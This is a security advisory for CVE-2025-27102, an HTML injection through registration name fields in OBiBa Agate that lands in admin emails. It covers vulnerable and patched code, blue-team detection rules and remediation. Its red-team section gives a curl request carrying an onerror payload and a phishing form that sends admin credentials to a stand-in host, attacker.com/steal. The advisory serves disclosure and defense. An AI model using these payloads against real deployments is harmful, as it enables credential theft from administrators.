CVE-2025-27102
Executive Summary
CVE-2025-27102 is a stored cross-site scripting (XSS) vulnerability in OBiBa Agate, a central authentication server for epidemiology applications. An unauthenticated attacker can inject arbitrary HTML code into the first or last name fields during user registration. This injected HTML is then rendered in administrative notification emails, enabling phishing attacks against privileged users. The vulnerability is fixed in Agate version 3.3.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Agate Java application, which is distributed as a WAR file or Docker image. Organizations should verify the integrity of their Agate deployment and ensure they are using a trusted source for the software. The fix is included in version 3.3.0, which should be obtained from the official OBiBa repository.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / 4.3 (Estimated)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (Admin reads email)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium (Phishing risk to administrative users)
Deep Dive & Mechanics
The vulnerability resides in the user registration functionality of Agate. When a new user registers, the application does not properly sanitize the firstName and lastName fields. An attacker can submit HTML code (e.g., <img src=x onerror=alert(1)>) as part of these fields. The application stores this malicious input in the database and later includes it in an email sent to administrative users for account approval. Since the email originates from the trusted Agate service account, the injected HTML is rendered in the admin's email client, making it appear legitimate. This can be exploited for credential harvesting or malware delivery.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-3.3.0):
// In UserRegistrationService.java
public void sendApprovalEmail(User user) {
String emailBody = "New user registered: " + user.getFirstName() + " " + user.getLastName();
emailService.send(adminEmail, emailBody);
}
The firstName and lastName are directly concatenated into the email body without sanitization.
Patched Code (3.3.0):
// In UserRegistrationService.java
public void sendApprovalEmail(User user) {
String safeFirstName = HtmlUtils.htmlEscape(user.getFirstName());
String safeLastName = HtmlUtils.htmlEscape(user.getLastName());
String emailBody = "New user registered: " + safeFirstName + " " + safeLastName;
emailService.send(adminEmail, emailBody);
}
The fix uses HtmlUtils.htmlEscape() to encode HTML special characters, preventing injection.
Exploitation & Lab Setup
Red Team
- Setup: Deploy a vulnerable Agate instance (version < 3.3.0) in a lab environment.
- Exploit: Use a tool like Burp Suite or curl to register a user with malicious HTML in the name fields.
curl -X POST http://target/register \ -d "firstName=<img src=x onerror=alert(1)>&lastName=Test&email=attacker@example.com&password=Pass123!" - Trigger: The admin receives an email with the injected HTML. If the email client renders HTML, the payload executes.
- Advanced Payload: Use a phishing form to capture admin credentials.
<form action="http://attacker.com/steal" method="POST"> <input type="text" name="username" placeholder="Username"> <input type="password" name="password" placeholder="Password"> <input type="submit" value="Login"> </form>
Blue Team
- Detection: Monitor registration logs for unusual patterns in
firstNameandlastNamefields (e.g., HTML tags). - Mitigation: Immediately upgrade to Agate 3.3.0 or apply a WAF rule to block HTML in registration fields.
- Forensics: Check email logs for messages containing HTML tags in the user name fields.
- User Training: Educate administrative users to avoid clicking links in unexpected emails and to verify the sender.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/registerwithfirstNameorlastNamecontaining HTML tags. - Email: Emails from the Agate service account with HTML content in the user name fields.
- Logs: Application logs showing registration attempts with suspicious characters like
<,>,onerror,onload. - File: No specific file IOCs; the attack is data-driven.
Detection Engineering
YARA Rule
rule CVE_2025_27102_Agate_HTML_Injection {
meta:
description = "Detects HTML injection attempts in Agate registration requests"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-27102"
strings:
$html_tag = /<[a-zA-Z\/].*?>/
$event_handler = /on\w+\s*=\s*['"].*?['"]/
$script_tag = /<script.*?>.*?<\/script>/i
condition:
any of ($html_tag, $event_handler, $script_tag)
}
Sigma Rule
title: Agate HTML Injection in Registration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTML injection attempts in Agate user registration
author: Valters IT
logsource:
category: application
product: agate
detection:
selection:
event: user_registration
firstName|contains:
- '<'
- '>'
- 'onerror'
- 'onload'
lastName|contains:
- '<'
- '>'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate users with names containing special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-27102 Agate HTML Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/register"; http_uri; pcre:"/(firstName|lastName)=.*<[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade to Agate version 3.3.0 or later.
- Workaround: If upgrade is not possible, implement a WAF rule to block HTML tags in registration fields.
- Configuration: Disable HTML rendering in email clients for administrative users.
- Monitoring: Enable logging for all registration attempts and review for suspicious patterns.
- User Awareness: Train administrative users to recognize phishing attempts and verify email authenticity.
Valters IT
Securing Digital Frontiers